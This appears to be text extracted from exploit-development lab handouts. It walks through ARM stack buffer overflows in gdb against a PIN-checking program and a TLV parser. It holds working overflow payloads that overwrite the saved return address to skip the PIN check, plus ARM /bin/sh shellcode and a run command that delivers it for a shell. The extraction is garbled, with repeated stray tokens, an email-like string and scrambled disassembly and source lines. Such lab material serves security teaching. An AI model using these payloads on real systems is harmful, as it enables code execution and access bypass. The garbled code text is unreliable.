While editing the file with nano, insert a '#' at the beginning of the line and then hit ctrl-x to exit nano. When prompted to save, hit 'y'.
You can then view your changes with the cat command.
micede1865@wii999_com
nemo@mako:~/labs/simple_loop$ cat ~/.gdbinit
#source ~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py
nemo@mako:~$ cd ~labs/verify_pin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
87 commands loaded for GDB 9.2 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./verify_pin...
(No debugging symbols found in ./verify_pin)
gef➤
09b91222e5d2d3d668cf8e52ec5d35ba
0x00010520 <+20>:
0x00010522 <+22>:
0x00010526 <+26>:
mov r0, r3
bl 0x10480 <verify_pin>
mov r3, r0
0x00010528 <+28>: strb r3, [r7, #15]
0x0001052a <+30>: ldrb r3, [r7, #15]
0x0001052c <+32>: cmp r3, #0
0x0001052e <+34>: beq.n 0x1053c <main+48>
0x00010530 <+36>: ldr r3, [pc, #36] ; (0x10558 <main+76>)
0x00010532 <+38>: add r3, pc
micede1865@wii999_com
0x00010534 <+40>:
0x00010536 <+42>:
0x0001053a <+46>:
mov r0, r3
bl 0x1982c <puts>
b.n 0x1054c <main+64>
0x0001053c <+48>: ldr r3, [pc, #28] ; (0x1055c <main+80>)
0x0001053e <+50>: add r3, pc
0x00010540 <+52>: mov r0, r3
0x00010542 <+54>: bl 0x1982c <puts>
0x00010546 <+58>: movs r0, #0
0x00010548 <+60>:
0x0001054c <+64>:
0x0001054e <+66>:
movs r3, #0
mov r0, r3
24356915
bl 0x147b8 <exit>
Notice the bl (branch with link) to the verify_pin function and take note of the address of the instruction that follows that
branch link instruction. In this snippet, the address is 0x10526. The address may vary on your system, but you should see
the same pattern.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x00010522 <+22>:
0x00010526 <+26>:
0x00010528 <+28>:
bl 0x10480 <verify_pin>
mov r3, r0
strb r3, [r7, #15]
When the bl instruction executes, the address following this instruction will be stored in the link register (lr).
Note
live
Notice that strb r3, [r7, #15] instruction is 2 bytes past the mov r3, r0 instruction. That tells us that this instruction is
THUMB (2-byte) vs ARM (4-byte).
Since this instruction is THUMB, we will return to 0x10526+1, so actually the value 0x10527 gets stored in the lr register.
09b91222e5d2d3d668cf8e52ec5d35ba
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0
...
• Looking at the first instruction of verify_pin, we see that the r7 and lr registers get pushed onto the stack.
• Remember, that the stack grows down. The next instruction subtracts 32 bytes from the sp register and stores it back
micede1865@wii999_com
in sp, shifting the sp register down in memory and providing an additional 32 bytes of space in the stack frame.
• The third instruction in the verify_pin function adds zero to sp and stores the result in r7. This is essentially copying
the value of sp and storing it in r7.
Setting a breakpoint
24356915
If we were to set a breakpoint on the 3 rd instruction in the verify_pin function at the address 0x10484 (again, addresses
may vary on your system) and run the program, we should be able to view the stored r7 value and more importantly the
stored lr value by observing the sp plus 32 bytes. Let's try this.
While still in gdb, we begin by setting a breakpoint at address 0x10484. We can use a shortened version of the break
command by just typing b . The * tells the debugger that we want to set the breakpoint on an address, not on a symbol
name.
gef➤ b *0x00010484
Paul Erwin
Breakpoint 1 at 0x10484
Once our breakpoint is set, we start the program with the run command. Here we provide a command line parameter of
"AAAAAAAA". We will focus more on this parameter when we observe the overflow, but first let's see if we can find the lr
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
value stored on the stack.
live
The gef output shows us a lot of information. Here's the output in it's entirety.
09b91222e5d2d3d668cf8e52ec5d35ba
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefff520 → 0x00000000
$sp : 0xbefff460 → 0x00000000
$lr : 0x00010527 → <main+27> mov r3, r0
$pc : 0x00010484 → <verify_pin+4> add r7, sp, #0
$cpsr: [NEGATIVE zero carry overflow interrupt fast THUMB]
micede1865@wii999_com
──────────────────────────────────────────────────────────────────────────── stack ────
0xbefff460│+0x0000: 0x00000000 ← $sp
0xbefff464│+0x0004: 0x00074000 → 0x00000000
0xbefff468│+0x0008: 0x00010a81 → <__libc_csu_init+1> stmdb sp!, {r3, r4, r5, r6, r7, r8, r9,
lr}
0xbefff46c│+0x000c: 0x00010af9 → <__libc_csu_fini+1> push {r3, r4, r5, lr}
0xbefff470│+0x0010: 0x00075d80 → 0x00000000
0xbefff474│+0x0014: 0x00000000
24356915
0xbefff478│+0x0018: 0x00010459 → <frame_dummy+1> push {r3, lr}
0xbefff47c│+0x001c: 0x00010adf → <__libc_csu_init+95> cmp r9, r4
────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047f <frame_dummy+39> nop
0x10481 <verify_pin+1> push {r7, lr}
0x10483 <verify_pin+3> sub sp, #32
→ 0x10485 <verify_pin+5> add r7, sp, #0
0x10487 <verify_pin+7> str r0, [r7, #4]
0x10489 <verify_pin+9> ldr
0x1048b <verify_pin+11> cmp Paul Erwin
r3, [r7, #4]
r3, #0
0x1048d <verify_pin+13> bne.n 0x104a4 <verify_pin+36>
0x1048f <verify_pin+15> ldr r3, [pc, #112] ; (0x10500 <verify_pin+128>)
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x10484 in verify_pin (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x10484 → verify_pin()
[#1] 0x10526 → main()
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
────────────────────────────────────────────────────────────────────────────────────────
gef➤
Let's look at some of the relevant registers from the gef output above.
• r7 is a pointer to the binary's path. It does not yet hold a copy of sp. However, after the next instruction executes, the
r7 register should equal sp.
• lr is our link register and it should hold the address of the instruction in main that follows the call to the verify_pin
function. As mentioned previously, it will be the address plus 1, because it is returning to a THUMB instruction.
09b91222e5d2d3d668cf8e52ec5d35ba
• As expected the pc (or program count) register holds the address of our current instruction.
If we look at the instructions in the gef output, we can see the arrow pointing to the current instruction. This corresponds
to the pc register.
We see that r7 and lr were recently pushed onto the stack and 32 was subtracted from the sp register. Therefore, if we add
32 bytes to the stack pointer register, we should see a copy of the r7 and lr values stored on the stack.
24356915
So let's have a look at the stack output at 0xbefff460. The gef output at our breakpoint shows us some stack memory
starting at the sp register, but it does not show the saved r7 and lr values.
───────────────────────────────────────────────────────────────────────────────────────────── stack
────
0xbefff460│+0x0000: 0x00000000 ← $sp
Paul Erwin
0xbefff464│+0x0004: 0x00074000 → 0x00000000
0xbefff468│+0x0008: 0x00010a81 → <__libc_csu_init+1> stmdb sp!, {r3, r4, r5, r6, r7, r8, r9,
lr}
0xbefff46c│+0x000c: 0x00010af9 → <__libc_csu_fini+1> push {r3, r4, r5, lr}
0xbefff470│+0x0010: 0x00075d80 → 0x00000000
0xbefff474│+0x0014: 0x00000000
0xbefff478│+0x0018: 0x00010459 → <frame_dummy+1> push {r3, lr}
0xbefff47c│+0x001c: 0x00010adf → <__libc_csu_init+95> cmp r9, r4
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The gef output only shows up to the sp+0x1c. This is not enough distance from the stack pointer to view our stored r7 and
lr values. To view more of the stack, we will need to issue a different command.
The 'x' command was covered in a previous lab, but let's recap. This command tells gdb we want to examine memory,
live
indicated by the x. The / slash is followed by our format. We want to examine 10 words, 4 bytes each (w) in hexadecimal
(x) format, starting at the address held by the sp register ($sp). The $ in front of sp lets gdb know that we are referring to
a predefined register.
The values in the left column, followed by : are addresses, starting with the sp address 0xbefff460. In the right columns,
09b91222e5d2d3d668cf8e52ec5d35ba
we have 10 words of 4 bytes each. Since we output 10 of these, we see 40 bytes total (10 x 4) in little endian format.
sp = 0x0xbefff460
+0 0x00000000
micede1865@wii999_com
+4 0x00074000
+8 0x00010a81
+0xc 0x00010af9
+0x10 0x00075d80
+0x14 0x00000000
+0x18 0x00010459
+0x1c 0x00010adf
+0x20 0xbefff488 (same as +32 decimal)
+0x24 0x00010527
24356915
By looking at the stack in the breakdown above, we can confirm that at +32 bytes (0x20), we have our stored r7 and lr
values. The info regs $r7 $lr command below shows the values in the registers that we also see at +0x20 and +0x24
on the stack frame.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x000104fa <+122>:
0x000104fc <+124>:
adds r7, #32
mov sp, r7
0x000104fe <+126>: pop {r7, pc}
Throughout this function, r7 holds a copy of the stack pointer. At the end of the function, 32 bytes are added to r7, which
would bring it back to the value before the subtraction at the beginning of the function (see the instruction at 0x10483).
live
After the addition to r7, the value is copied into sp, putting them both back in sync. This is essentially shrinking the stack
frame back to the size of the stack prior to the sub sp, #32 instruction.
+0 0x00000000
+4 0x00074000
+8 0x00010a81
+0xc 0x00010af9
09b91222e5d2d3d668cf8e52ec5d35ba
+0x20
+0x24
0xbefff488 <- sp and r7 now point here after adding 32 bytes
0x00010527
After the addition and mov instructions, the next two values on the stack are popped into r7 and pc respectively. These are
the same 2 values that were pushed (saved) onto the stack in the very first instruction.
micede1865@wii999_com
When a value is popped into pc, execution will resume at that address.
Bug
If we can leverage a vulnerability that allows us to write into a local variable and overflow past sp+0x24, we can overwrite the saved
lr on the stack. If we can overwrite the saved lr, we can redirect execution to an address that we control when the saved lr gets
popped into pc.
24356915
Memory Corruption in verify_pin
Looking at the verify_pin function in the source code, we see that it's only parameter is a pointer to user-supplied input
data (*pin).
if (!pin) {
printf("\nPlease enter enter a pin: ");
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
}
gets(pin_buffer);
else {
memcpy(pin_buffer, pin, strlen(pin));
pin_buffer[strlen(pin)]='\x00';
}
if (strcmp(pin_buffer, KEY) == 0)
else
return false; live
return true;
}
09b91222e5d2d3d668cf8e52ec5d35ba
char pin_buffer[20];
In the source code, we see a memcpy function that takes in user input and copies it into the pin_buffer variable on the
stack. The prototype for the memcpy function is shown below.
micede1865@wii999_com
In this example, the length is the calculated size of our input (pin). We control the length and we control the data that gets
copied into the fixed-size pin_buffer stack variable. This is not good programming.
Let's try copying in more data than the buffer can hold. To do this in gdb, we can pass an argument via the run command.
Whenever you issue the run command, the program will start over. That's fine for our purposes in this lab.
gef➤ del
gef➤ info break
24356915
No breakpoints or watchpoints.
gef➤
Paul Erwin
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
If we do this, we get a SIGSEGV notification indicating that the program has crashed.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
If you did not delete the breakpoints as described in the previous step, they may stop you short of the program crashing. If
we hit c to continue, we see that the program has been terminated.
gef➤ c
Continuing.
live
The program crashes because it tries to redirect execution to 0x41414141 due to the overwritten lr stored on the stack
getting popped into pc. Since there are no valid, executable instructions at this address, the program crashes.
Fortunately, there is an easier way to do this. Here, we are accomplishing the same thing, but are using python to craft our
input.
09b91222e5d2d3d668cf8e52ec5d35ba
Observing the overflow
Let's observe the stack before and after the call to memcpy to see what is happening when the 20-byte pin_buffer char
array gets overflowed.
Notice
micede1865@wii999_com
We do not see the function name, "memcpy" here since this is a statically linked ELF file. The blx 0x10178 instruction leads to a
memcpy function that has been included in the verify_pin file and is not part of an external shared object.
disas verify_pin
...
24356915
0x000104b2 <+50>: mov r0, r3
0x000104b4 <+52>: blx 0x10178
0x000104b8 <+56>: ldr r0, [r7, #4]
Set a breakpoint at 0x104b2 and another at 0x104b8. Here we can observe the stack before and after the call to memcpy
Paul Erwin
(0x104b4). We will examine the stack at each breakpoint.
gef➤ b * 0x104b2
Breakpoint 2 at 0x104b2
gef➤ b * 0x104b8
Breakpoint 3 at 0x104b8
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
gef➤
Num
2
info br
Type
breakpoint
Disp Enb Address
keep y
What
0x000104b2 <verify_pin+50>
3 breakpoint keep y 0x000104b8 <verify_pin+56>
Restart the program with the run command and using 40 A's as input.
gef➤
...
run $(python2 -c 'print("A"*40)')
live
──────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x104a9 <verify_pin+41> smlal r4, r6, r11, r2
0x104ad <verify_pin+45> add.w r3, r7, #12
0x104b1 <verify_pin+49> ldr r1, [r7, #4]
09b91222e5d2d3d668cf8e52ec5d35ba
0x104bf <verify_pin+63> mov r3, r0
0x104c1 <verify_pin+65> add.w r2, r7, #32
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x104b2 in verify_pin (), reason: BREAKPOINT
We have broken at a mov r0, r3 instruction and the call to memcpy ( blx 0x10178 ) has not yet occured. Let's examine
the stack. We will use the same instruction as before.
micede1865@wii999_com
gef➤ x/10wx $sp
0xbefff440: 0x00000000 0xbefff722 0x00010a81 0x00010af9
0xbefff450: 0x00075d80 0x00000000 0x00010459 0x00010adf
0xbefff460: 0xbefff468 0x00010527
Looks like we can still see our saved lr (0x00010527). Now let's continue execution until we hit our next breakpoint at
0x104b8.
Note
24356915
The debugger will automatically translate breakpoint addresses that we enter to THUMB if needed.
gef➤ c
Continuing.
...
Paul Erwin
──────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x104b1 <verify_pin+49> ldr r1, [r7, #4]
0x104b3 <verify_pin+51> mov r0, r3
0x104b5 <verify_pin+53> blx 0x10178
→ 0x104b9 <verify_pin+57> ldr r0, [r7, #4]
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x104bb <verify_pin+59> bl
0x104bf <verify_pin+63> mov
0x23c40 <strlen>
r3, r0
0x104c1 <verify_pin+65> add.w r2, r7, #32
0x104c5 <verify_pin+69> add r3, r2
0x104c7 <verify_pin+71> movs r2, #0
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x104b8 in verify_pin (), reason: BREAKPOINT
live
We've stopped again. This time we are at our second breakpoint and the memcpy call (blx 0x10178) has already occured.
Now, let's take another look at the stack. This time the memcpy has overflowed past the 20-byte pin_buffer local stack
variable.
09b91222e5d2d3d668cf8e52ec5d35ba
Overwriting the stored lr
Try it.
(Optional) Without looking ahead, try to find the number of bytes it would take to precisely overwrite the stored lr with 0x42424242.
micede1865@wii999_com
Craft your buffer so that it is all "A"s (0x41) followed by 4 "B"s (0x42) used to overwrite the stored lr.
Doing some math on the output above, we see that there are 6 words that are all 0x41414141 prior to our overwritten lr
which would be the 7 th word. So, if we wanted to overwrite lr exactly, we would need 24 bytes (6x4=24) prior to the 4 bytes
used to overwrite the stored lr.
24356915
If our buffer was "A"*24 + "BBBB", this would overwrite the stored lr with 'BBBB' or 0x42424242. Let's try this. There is
nothing special about BBBB (0x42424242), we are just using this value to differentiate from the A's (0x41414141).
Observe the stack at the breakpoints as we did in the previous runs using x/10wx $sp . If you hit 'c' after the second
breakpoint you should see a crash with 0x42424242 or "BBBB" in pc.
Paul Erwin
───────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0x0004c598 → "8675309"
$r2 : 0x41
$r3 : 0x1
$r4 : 0xbefff4a8 → 0x5283d4c5
$r5 : 0x0
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
$r6 : 0x0
$r7 : 0x41414141 ("AAAA"?)
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0x4
$sp : 0xbefff478 → 0xbefff500 → 0x00000000
$lr : 0x000104ed → 0x012b0046 ("F"?)
$pc : 0x42424242 ("BBBB"?)
$cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]
live
...
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x42424242 in ?? (), reason: SIGSEGV
09b91222e5d2d3d668cf8e52ec5d35ba
Redirecting execution
If we review the main function, we see that this simple program just checks our input and will print whether or not the door
has been unlocked.
micede1865@wii999_com
bool is_locked = true;
is_locked = verify_pin(argv[1]);
if(is_locked) {
printf("The door is locked. Try again\n\n");
}
else {
}
exit(0); 24356915
printf("Door unlocked!!!\n\n");
Let's bypass the decision made based on the result of the verify_pin function so the program will indicate that it has
been unlocked regardless of the result of the check.
Paul Erwin
In this lab, we are not using ASLR, so the code addresses will be consistent every time the program is ran. So, rather than
jumping to 0x42424242 and crashing, lets jump to where the "Door unlocked!!!" message gets printed to the screen.
Instead of returning to the main function and storing the result in is_locked just prior to the if(is_locked) check, let's
just return to where the success message is printed.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
is_locked = verify_pin(argv[1]);
if(is_locked) {
<------ We don't want to return here.
live
It's pretty easy to see where we want to go in the source code, but finding where we want to land in the assembly is a little
more challenging. To find the specific address, we need to disassemble main.
disas main
Dump of assembler code for function main:
0x0001050c <+0>: push {r7, lr}
09b91222e5d2d3d668cf8e52ec5d35ba
0x00010516
0x00010518
0x0001051a
<+10>:
<+12>:
<+14>:
movs
strb
r3, #1
r3, [r7, #15]
ldr r3, [r7, #0]
0x0001051c <+16>: adds r3, #4
0x0001051e <+18>: ldr r3, [r3, #0]
0x00010520 <+20>: mov r0, r3
0x00010522 <+22>: bl 0x10480 <verify_pin>
0x00010526 <+26>: mov r3, r0
0x00010528 <+28>: strb r3, [r7, #15]
micede1865@wii999_com
0x0001052a
0x0001052c
0x0001052e
<+30>:
<+32>:
<+34>:
ldrb r3, [r7, #15]
cmp r3, #0
beq.n 0x1053c <main+48>
0x00010530 <+36>: ldr r3, [pc, #36] ; (0x10558 <main+76>)
0x00010532 <+38>: add r3, pc
0x00010534 <+40>: mov r0, r3
0x00010536 <+42>: bl 0x1982c <puts>
0x0001053a <+46>: b.n 0x1054c <main+64>
0x0001053c
0x0001053e
0x00010540
<+48>:
<+50>:
<+52>:
add r3, pc
mov r0, r3
24356915
ldr r3, [pc, #28] ; (0x1055c <main+80>)
If we look back at the source code, we see that the printing of the "Door unlocked!!!" message is followed by exit(0) .
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This is likely where we want to be.
If we jump to 0x0001053c, the ldr, add, and mov instructions will load the success string into r0 and then the puts function
will be called. After that, exit is called.
• Since we will be jumping to a THUMB instruction, we need to add plus one to the destination address shown in gdb,
making it an odd number. So, 0x0001053c becomes 0x0001053d. This tells the processor that the destination we are
09b91222e5d2d3d668cf8e52ec5d35ba
jumping is a 2-byte THUMB instruction and not a 4-byte ARM instruction.
micede1865@wii999_com
Now we can add this value to the end of our input buffer so that it overwrites the saved lr on the stack. Let's delete our
existing breakpoints and give this a try.
gef➤ del
gef➤ info b
No breakpoints or watchpoints.
24356915
• When we enter the addresses in python, we need write each byte in reverse order since this is a litte-endian ARM
processor. In addition, when writing hexadecimal data in a python string, we need to precede each byte with '\x'.
"\x3d\x05\x01\x00"
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
gef➤ run $(python2 -c 'print("A"*24 + "\x3d\x05\x01\x00")')
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python2 -c 'print("A"*24 +
"\x3d\x05\x01\x00")')
/bin/bash: warning: command substitution: ignored null byte in input
You successfully leveraged a buffer overflow and redirected execution to bypass the program's pin validation!
If ASLR is turned off on the system, you should be able to successfully exploit this from the command line as well. Exit
09b91222e5d2d3d668cf8e52ec5d35ba
gdb and give it a try.
Note
micede1865@wii999_com
In the C programming language, strings are terminated with a null byte. These null bytes are automatically added to the end of
strings provided on the command line. If we leave off the last \x00 in our input, another \x00 will automatically be added in its place
marking it as the end of the string. Give it a try and see if it fixes the bash warning.
Summary
24356915
In this lab we opened verify_pin in gdb and set some breakpoints that allowed us to observe the results of a vulnerable
memcpy implementation. By sending more data than the pin_buffer could hold, we were able to gain control of
execution. In the lab, we simply bypassed an input check looking for "8675309" and jumped straight to the address where
the "Door unlocked!!!" message gets displayed.
Paul Erwin
Stack Overflow Challenge
The stack is executable in verify_pin. Instead of jumping to the success message, try to deliver the
shellcode below (provided as a python string) and jump to it. If you successfully execute the
shellcode, you should get a shell ($). Do all of this in the debugger.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Hints:
Shellcode:
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
09b91222e5d2d3d668cf8e52ec5d35ba
Background
TLV stands for Type Length Value and this is a common format used for parsing inbound data. This format is used in
everything from file structures to network protocols. We will be exploiting a function that reads in data as TLV, but does
not check the length value supplied by the user.
Objectives micede1865@wii999_com
• Analyzing TLV input
24356915
• Redirecting execution and getting a shell in gdb
Lab Preparation
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• Use the command sudo start_mako.sh to start the mako virtual machine.
09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Review source code
nemo@mako:~$ cd labs/tlv
nemo@mako:~/labs/tlv$
live
Let's start off by looking at the source code. Speci cally, have a look at the process_tlv function.
fi
nemo@mako:~/labs/tlv$ cat src/tlv.c
...
void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {
09b91222e5d2d3d668cf8e52ec5d35ba
printf("[+] Processing 0x%x type\n", type);
switch (type) {
case 0x66:
printf("[-] Performing strcpy\n");
strcpy(buf, (value+2));
printf("Value: %s\n", buf);
return;
case 0x65:
micede1865@wii999_com
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
printf("Value: %s\n", buf);
return;
case 0x64:
printf("[-] Performing sscanf\n");
sscanf(value, "%c%c%s", &c1, &c2, buf);
return;
default: 24356915
printf("Invalid type. Try again.\n");
return;
}
}
...
Paul Erwin
In this function there is a switch statement that determines which actions to perform based on the type argument. We
will focus on case 0x65.
Note
You may notice that there are three different buffer overflows that can occur in this function.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Let's start by seeing how we can reach the case 0x65 code, starting with the main function.
live
process_tlv(input_buffer[0], input_buffer[1], input_buffer);
return 0;
}
Looking at the main function, we see that the command line argument is copied into input_buffer and input_buffer is
passed into process_tlv .
09b91222e5d2d3d668cf8e52ec5d35ba
process_tlv see this?
void process_tlv(unsigned char type, unsigned char len, unsigned char *value)
micede1865@wii999_com
• the second byte of our command line input as the length
• the third argument is a pointer to the beginning of our command line input
This means that when we pass data in via the command line, we need to consider that the first byte of our input will be
used as the type and the second byte will be used as the length when it is passed into the process_tlv function.
Let's look at the third argument called "value". What about the 2 bytes at the beginning of this argument? They are the
24356915
same thing as the type and length. To account for this, you'll notice that in some of the cases, +2 is added to the value.
This skips past the first two bytes (the type and the value) and starts reading data at value+2.
Each of the three cases use the buf variable as a destination. This variable is a char array that can only hold 100 bytes of
data. So if we can send more than that into buf, we can overflow the buffer.
Paul Erwin
This lab focuses on case 0x65 since it handles the input as Type Length Value (TLV). Let's take a look at the code for this
case.
...
switch (type) {
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
printf("Value: %s\n", buf);
return;
live
The switch statement is based on the type argument. The type argument is derived from the first byte in the command
line input. Since we control this data, we can use a hexadecimal 0x65 (or a lower case 'e') at the beginning of our
command line input to reach this case statement and memcpy our data into buf. The len argument used in the memcpy is
the second byte of our command line input.
• Prints a message
09b91222e5d2d3d668cf8e52ec5d35ba
• Performs a memcpy to buf using our input
• Puts a zero at the index of len in buf (this is so the string prints cleanly and will not impact our exploit)
• Prints buf
• Returns to main
Let's take a step back and think about this. There are some important factors that are favorable to us as attackers.
micede1865@wii999_com
• We control the type, so we can direct to the 0x65 case.
• The destination that our input gets copied into is a fixed size buffer of 100 bytes.
24356915
• We control the length with the constraint that it is a one byte value. (max size is 0xff or 255)
Bug
If we can provide a length greater than 100 bytes, we will be able to achieve memory corruption via a buffer overflow.
You may want to open multiple tabs or console windows in Terminator. To do this use ctrl-shift-t , ctrl-shift-e , or ctrl-
shift-o . Close tabs or extra console windows by typing exit .
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~/labs/tlv$ python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "\x65"
'e'
>>> 0x64
100
>>> 0xff
255
live
>>> "\x7a"
'z'
>>> 0x7a
122
• 0x65 is the same as a lower-case "e". This will be the first byte in our command line input so that we can reach the
target case statement.
09b91222e5d2d3d668cf8e52ec5d35ba
• 0x64 is 100 in decimal. If we specify a value higher than this as our length (2 nd byte in our input), we will overflow the
buffer.
• The highest value a single byte can hold is hex 0xff or 255. This is more than enough to overflow the buffer.
• 0x7a is a lower-case "z". The decimal value is 122. If we send a lower-case "z" as the second byte (which becomes
our length), it will overflow the buffer.
Note
micede1865@wii999_com
For a quick reference on ascii and to see a chart with the decimal/hexadecimal equivalencies, run man ascii from the command
prompt.
Try it.
Paul Erwin
Based on your current knowledge, see if you can cause a crash.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
In the output above we passed a value of 0x65 ('e') as the type and 122 (0x7a or 'z') as the length and a bunch of "C"'s for
our data.
Why does this still crash if we send less than 100 C's?
live
This will still overflow the buffer because of the length. Even though we are not specifying enough "C"'s, it will still continue to copy
in whatever data in memory follows our input. This will overwrite the stored lr register and crash the program when it tries to return
to main.
Open tlv_static in gdb. We will not be using gef in the following examples, but feel free to use it if you prefer. You can
09b91222e5d2d3d668cf8e52ec5d35ba
turn the gef plugin on by uncommenting the line in the ~/.gdbinit file.
Without looking ahead, try to modify the input and redirect execution to 0x42424242. The input below will get you started.
gdb ./tlv_static
micede1865@wii999_com
run $(python2 -c 'print("A"*5 + "BBBB")')
After some trial and error or by taking some time to analyze the stack frame, we find that the following input will crash the
program and redirect execution to 0x42424242.
Value:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Paul Erwin
Notice that we don't have to specify the length exactly for this lab. As long as we specify enough of a length to overwrite
the saved lr, we can focus on the alignment needed to overwrite the saved lr exactly.
In this first iteration, we showed that we can overwrite the saved LR with "BBBB" or 0x42424242.
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xdf\x2f\x62\x
Length: 35 bytes
Note live
We discuss shellcode in another lab. For now, try to see if you can direct execution to the address that points to the first byte of this
shellcode while it is in program memory.
• First, copy the payload into your input buffer and make sure you can still redirect execution to 0x42424242. You will
need to adjust the length of your A's to accommodate the size of the shellcode.
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) run $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "BBBB"')
Starting program: /home/nemo/labs/tlv/tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "BBBB"')
[+] Processing 0x65 type
micede1865@wii999_com
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
24356915
So, now we can deliver the shellcode AND we control execution. The next step is to redirect execution to our shellcode.
Note
The stack in the tlv lab is executable, so if we can jump to our shellcode while it is on the stack we will be able to execute arbitrary
code that we supply as input.
Using that same input, let's do another run. This time, we will set a breakpoint so that we can observe the data on the
stack prior to crashing the program. We do this to locate the shellcode on the stack and find the address we need to jump
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
to. Let's look at the end of the process_tlv function.
Recall from class that a stack frame is a subsection of the stack that is used by functions for storage of local variables like buf
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) b * 0x1054c
Breakpoint 1 at 0x1054c
micede1865@wii999_com
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/tlv/tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "BBBB"')
[+] Processing 0x65 type
[-] Performing memcpy
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) x/40wx $sp
0xbefff3c0: 0x00000076
0xbefff3d0: 0x0007eb98
0x0007fdd0
0x6474e551
0xbefff6ec
0x00000001
0x65ff17b4
0xe28f3001
0xbefff3e0: 0xe12fff13 0x30104678 0x900146c0 0x71c11a49
